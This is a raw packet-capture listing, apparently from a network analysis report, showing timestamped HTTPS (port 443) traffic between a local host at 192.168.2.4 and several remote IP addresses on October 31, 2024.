Oct 31, 2024 07:14:14.491918087 CET	443	49737	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.495508909 CET	443	49737	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.495573997 CET	49737	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.495893002 CET	49737	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.496001005 CET	49737	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.496063948 CET	443	49737	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.519351006 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.528521061 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.528537035 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.543970108 CET	49737	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.543978930 CET	443	49737	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.575233936 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.590862989 CET	49737	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.760772943 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.760822058 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.760818958 CET	443	49739	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.760854959 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.760891914 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.760917902 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.761015892 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.761054039 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.761212111 CET	49739	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.761224031 CET	443	49739	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.761229038 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.761243105 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.762085915 CET	443	49739	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.762147903 CET	49739	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.762605906 CET	49739	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.762664080 CET	443	49739	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.769337893 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.771116018 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.771132946 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.775609016 CET	443	49737	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.809129953 CET	49739	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.809139013 CET	443	49739	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.824784994 CET	49737	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.824790955 CET	443	49737	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.824793100 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.824814081 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.825715065 CET	49737	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.825798988 CET	443	49737	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.825875044 CET	49737	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.856019974 CET	49739	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.871942043 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.878071070 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.878108025 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.878176928 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.878195047 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.880409002 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.883351088 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.883368969 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.884757042 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.884834051 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.884848118 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.893769979 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.895042896 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.895056009 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.902313948 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.902390003 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.902405024 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.911118984 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.915236950 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.915251970 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.919576883 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.922966957 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.922981024 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.928100109 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.931194067 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.931207895 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.936877012 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.939058065 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.939071894 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.995486975 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.995523930 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.995548010 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.995584965 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.995668888 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.995693922 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.995754957 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.995754004 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.995765924 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.995801926 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.997641087 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.997693062 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:14.997962952 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:14.997977018 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.001979113 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.002041101 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:15.002054930 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.003295898 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.003354073 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:15.003367901 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.010550976 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.010626078 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:15.010643959 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.016314983 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.016380072 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:15.016393900 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.022299051 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.022375107 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:15.022388935 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.028305054 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.030993938 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:15.031008005 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.034142971 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.034225941 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:15.034245014 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.040208101 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.040278912 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:15.040292978 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.046295881 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.046369076 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:15.046382904 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.052279949 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.055274963 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:15.055288076 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.058324099 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.058423042 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:15.058439016 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.064498901 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.067102909 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:15.067125082 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.070421934 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.070504904 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:15.070528984 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.112597942 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.112627029 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.112741947 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.112747908 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:15.112788916 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.112847090 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:15.112862110 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.112924099 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:15.114689112 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.114804029 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.114833117 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.114878893 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:15.114895105 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.115066051 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:15.116509914 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.119111061 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.119168997 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.119234085 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:15.119250059 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.119302988 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:15.120452881 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.127213955 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.131270885 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:15.131285906 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.133138895 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.135059118 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:15.135073900 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.139283895 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.142234087 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.142307997 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:15.142328978 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.143266916 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:15.145333052 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.148536921 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.151180983 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.151245117 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:15.151261091 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.151360035 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:15.154818058 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.157330036 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.159131050 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:15.159145117 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.163403034 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.167356014 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:15.167370081 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.169334888 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.171248913 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:15.171262980 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.181507111 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.181545019 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.181567907 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.181627989 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:15.181651115 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.181679010 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:15.182063103 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:15.182112932 CET	443	49738	172.217.16.196	192.168.2.4
Oct 31, 2024 07:14:15.182169914 CET	49738	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:17.012314081 CET	49745	443	192.168.2.4	184.28.90.27
Oct 31, 2024 07:14:17.012346983 CET	443	49745	184.28.90.27	192.168.2.4
Oct 31, 2024 07:14:17.012586117 CET	49745	443	192.168.2.4	184.28.90.27
Oct 31, 2024 07:14:17.014185905 CET	49745	443	192.168.2.4	184.28.90.27
Oct 31, 2024 07:14:17.014198065 CET	443	49745	184.28.90.27	192.168.2.4
Oct 31, 2024 07:14:17.888717890 CET	443	49745	184.28.90.27	192.168.2.4
Oct 31, 2024 07:14:17.888809919 CET	49745	443	192.168.2.4	184.28.90.27
Oct 31, 2024 07:14:17.900547981 CET	49745	443	192.168.2.4	184.28.90.27
Oct 31, 2024 07:14:17.900564909 CET	443	49745	184.28.90.27	192.168.2.4
Oct 31, 2024 07:14:17.900855064 CET	443	49745	184.28.90.27	192.168.2.4
Oct 31, 2024 07:14:17.950140953 CET	49745	443	192.168.2.4	184.28.90.27
Oct 31, 2024 07:14:17.952992916 CET	49745	443	192.168.2.4	184.28.90.27
Oct 31, 2024 07:14:17.995335102 CET	443	49745	184.28.90.27	192.168.2.4
Oct 31, 2024 07:14:18.201105118 CET	443	49745	184.28.90.27	192.168.2.4
Oct 31, 2024 07:14:18.201203108 CET	443	49745	184.28.90.27	192.168.2.4
Oct 31, 2024 07:14:18.201306105 CET	49745	443	192.168.2.4	184.28.90.27
Oct 31, 2024 07:14:18.214489937 CET	49747	443	192.168.2.4	20.12.23.50
Oct 31, 2024 07:14:18.214543104 CET	443	49747	20.12.23.50	192.168.2.4
Oct 31, 2024 07:14:18.214637041 CET	49747	443	192.168.2.4	20.12.23.50
Oct 31, 2024 07:14:18.216639996 CET	49747	443	192.168.2.4	20.12.23.50
Oct 31, 2024 07:14:18.216675997 CET	443	49747	20.12.23.50	192.168.2.4
Oct 31, 2024 07:14:18.217175961 CET	49745	443	192.168.2.4	184.28.90.27
Oct 31, 2024 07:14:18.217186928 CET	443	49745	184.28.90.27	192.168.2.4
Oct 31, 2024 07:14:18.226273060 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:18.226284981 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:18.226340055 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:18.226624966 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:18.226635933 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:18.343775034 CET	49749	443	192.168.2.4	184.28.90.27
Oct 31, 2024 07:14:18.343849897 CET	443	49749	184.28.90.27	192.168.2.4
Oct 31, 2024 07:14:18.343915939 CET	49749	443	192.168.2.4	184.28.90.27
Oct 31, 2024 07:14:18.347552061 CET	49749	443	192.168.2.4	184.28.90.27
Oct 31, 2024 07:14:18.347573042 CET	443	49749	184.28.90.27	192.168.2.4
Oct 31, 2024 07:14:19.077023029 CET	443	49747	20.12.23.50	192.168.2.4
Oct 31, 2024 07:14:19.077097893 CET	49747	443	192.168.2.4	20.12.23.50
Oct 31, 2024 07:14:19.079693079 CET	49747	443	192.168.2.4	20.12.23.50
Oct 31, 2024 07:14:19.079725027 CET	443	49747	20.12.23.50	192.168.2.4
Oct 31, 2024 07:14:19.080096006 CET	443	49747	20.12.23.50	192.168.2.4
Oct 31, 2024 07:14:19.084321022 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.084822893 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.084829092 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.085674047 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.085727930 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.090111971 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.090163946 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.090450048 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.090455055 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.121485949 CET	49747	443	192.168.2.4	20.12.23.50
Oct 31, 2024 07:14:19.140850067 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.193372011 CET	443	49749	184.28.90.27	192.168.2.4
Oct 31, 2024 07:14:19.193440914 CET	49749	443	192.168.2.4	184.28.90.27
Oct 31, 2024 07:14:19.194744110 CET	49749	443	192.168.2.4	184.28.90.27
Oct 31, 2024 07:14:19.194758892 CET	443	49749	184.28.90.27	192.168.2.4
Oct 31, 2024 07:14:19.194962025 CET	443	49749	184.28.90.27	192.168.2.4
Oct 31, 2024 07:14:19.196285963 CET	49749	443	192.168.2.4	184.28.90.27
Oct 31, 2024 07:14:19.239362955 CET	443	49749	184.28.90.27	192.168.2.4
Oct 31, 2024 07:14:19.335671902 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.335710049 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.335738897 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.335751057 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.335758924 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.335794926 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.335832119 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.335839987 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.335879087 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.336225033 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.344192982 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.344265938 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.344271898 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.387125969 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.387130022 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.433119059 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.440557003 CET	443	49749	184.28.90.27	192.168.2.4
Oct 31, 2024 07:14:19.440598011 CET	443	49749	184.28.90.27	192.168.2.4
Oct 31, 2024 07:14:19.440902948 CET	49749	443	192.168.2.4	184.28.90.27
Oct 31, 2024 07:14:19.441365004 CET	49749	443	192.168.2.4	184.28.90.27
Oct 31, 2024 07:14:19.441385031 CET	443	49749	184.28.90.27	192.168.2.4
Oct 31, 2024 07:14:19.441401958 CET	49749	443	192.168.2.4	184.28.90.27
Oct 31, 2024 07:14:19.441410065 CET	443	49749	184.28.90.27	192.168.2.4
Oct 31, 2024 07:14:19.454185009 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.454286098 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.454329014 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.454334974 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.455128908 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.455188036 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.455193996 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.462713003 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.462773085 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.462778091 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.468210936 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.468259096 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.468266010 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.512940884 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.518498898 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.559817076 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.572767973 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.573753119 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.573786020 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.573833942 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.573839903 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.573884964 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.574851036 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.581373930 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.581427097 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.581433058 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.591099977 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.591229916 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.591236115 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.637135029 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.637183905 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.637195110 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.684798956 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.691510916 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.691605091 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.691740990 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.691746950 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.692555904 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.692605972 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.692610979 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.696733952 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.696783066 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.696789026 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.705414057 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.705528975 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.705533981 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.747303009 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.747308016 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.755863905 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.755927086 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.755933046 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.769233942 CET	49747	443	192.168.2.4	20.12.23.50
Oct 31, 2024 07:14:19.809827089 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.811327934 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.811331987 CET	443	49747	20.12.23.50	192.168.2.4
Oct 31, 2024 07:14:19.812347889 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.812381983 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.812416077 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.812422991 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.812463999 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.813787937 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.818504095 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.818550110 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.818555117 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.831540108 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.831585884 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.831593037 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.872304916 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.872311115 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.875894070 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.875943899 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.875948906 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.919187069 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.929955959 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.930003881 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.930052042 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.930058002 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.931049109 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.931117058 CET	49748	443	192.168.2.4	142.250.184.206
